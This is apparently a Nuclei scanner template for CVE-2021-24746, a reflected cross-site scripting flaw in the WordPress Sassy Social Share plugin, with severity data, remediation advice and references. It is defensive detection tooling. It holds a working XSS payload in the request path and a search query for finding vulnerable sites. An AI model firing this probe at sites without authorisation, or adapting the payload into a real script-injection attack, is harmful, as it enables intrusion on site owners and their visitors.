62 lines
1.8 KiB
YAML
62 lines
1.8 KiB
YAML
id: CVE-2021-24746
|
|
|
|
info:
|
|
name: WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting
|
|
author: Supras
|
|
severity: medium
|
|
description: WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability.
|
|
remediation: |
|
|
Update the WordPress Sassy Social Share Plugin to version 3.3.40 or later to mitigate the vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24746
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-24746
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00106
|
|
epss-percentile: 0.42835
|
|
cpe: cpe:2.3:a:heateor:sassy_social_share:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: heateor
|
|
product: sassy_social_share
|
|
framework: wordpress
|
|
google-query: inurl:"/wp-content/plugins/sassy-social-share"
|
|
tags: cve,cve2021,wordpress,wp-plugin,xss,wp,wpscan
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/wp-json/wp/v2/posts"
|
|
- "{{BaseURL}}/{{slug}}/?a"><script>alert(document.domain)</script>"
|
|
|
|
host-redirects: true
|
|
max-redirects: 2
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '?a"><script>alert(document.domain)</script>'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: slug
|
|
group: 1
|
|
regex:
|
|
- '"slug":"([_a-z-A-Z0-9]+)",'
|
|
internal: true
|
|
part: body
|
|
# digest: 4a0a0047304502210093bc38ee0a6ae606dfc5bfc588e8516a4a0f98cc3457ce50725c87daba70814402202d29a4111fbf7222860268bbf0270a3f7d952987cb1f83802226ad64839658ba:922c64590222798bb761d5b6d8e72950 |